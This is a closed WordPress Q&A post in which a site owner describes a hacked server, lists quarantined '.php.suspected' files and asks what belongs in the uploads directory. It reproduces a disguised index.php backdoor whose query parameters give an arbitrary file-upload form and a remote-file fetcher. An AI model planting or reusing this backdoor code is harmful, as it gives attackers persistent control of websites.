# Server hacked: correct contents of wp-uploads directory? [closed]

Our Wordpress server began running extremely slowly, even though the load on the server itself was extremely low (< 1%).

The wp-admin page would not respond at all.

After an investigation, it was discovered that the server was hacked and was full of porn files. We are trying to rebuild it, bit do not have a backup.

It seems there are a lot of these files in the wp-uploads directory. Aside from the usual directories of 2013, 2014, 2015 etc, should there be other files in this directory?

What are the correct permissions for this directory, it is currently completely public. I assume the hacker did this:

drwxrwxrwx 20 root root 4096 Nov 21 12:14 uploads


There are some files named 'suspected'. What is happening here, have they been quarantined?

root@recover-wordpress:~/cleanup/wp-content/uploads# ls -l *suspected
-rw-r--r-- 1 www-data www-data  7593 Sep  7 04:34 0pmr7ai6l.php.suspected
-rw-r--r-- 1 www-data www-data 14304 Sep  6 15:48 3d9gr.php.suspected
-rw-r--r-- 1 www-data www-data   700 Oct 20 11:28 454354353.php.suspected
-rw-r--r-- 1 www-data www-data   510 Aug 26 16:50 NB82WOhjz.php.suspected
-rw-r--r-- 1 www-data www-data   510 Sep 11 14:25 SXEZOfZvicy.php.suspected
-rw-r--r-- 1 www-data www-data  3429 Sep  7 04:32 co1iq.php.suspected
-rw-r--r-- 1 www-data www-data 29936 Sep  6 15:49 cttpgw5y.php.suspected
-rw-r--r-- 1 www-data www-data  5406 Sep  5 05:11 dom1xbub.php.suspected
-rw-r--r-- 1 www-data www-data 19706 Sep  7 04:21 evwsroor.php.suspected


There are also a lot of php files in the wp-uploads directory. I noticed in a new Wordpress installation there is a single directory only called 2015. We do have several plug-ins though.

For example there is a file called index.php, which looks very strange:

drwxrwxrwx 4 root root 4096 Jul 27 03:12 espresso

?
<?php
// Silence is golden.
if(isset($_GET[php4])) {echo '<form action="" method="post" enctype="multipart/form-data" name="silence" id="silence">'; echo '<input type="file" name="file"><input name="golden" type="submit" id="golden" value="Done"></form>'; if($_POST['golden'] == "Done" ) {if(@copy($_FILES['file']['tmp_name'],$_FILES['file']['name'])) { echo '+'; } else { echo '-'; }}} if(isset($_GET[php5])) {$file=$_GET["php5"];$wpf=strrchr($file, '/');$wpf=str_replace("/","",$wpf);$content=file_get_contents($file);$wpt = fopen($wpf, "w"); fwrite($wpt, $content); fclose($wpt); } else {echo '<title></title>';}
?>


Can I just delete everything not in the 2015-type directories?

## closed as off-topic by birgire, RarstNov 22 '15 at 12:32

This question appears to be off-topic. The users who voted to close gave this specific reason:

If this question can be reworded to fit the rules in the help center, please edit the question.

• You need person with security expertise looking at that stat. Trying to work through a hack via asking about it unfortunately only wastes time, while your server might still be just as vulnerable. – Rarst Nov 22 '15 at 12:34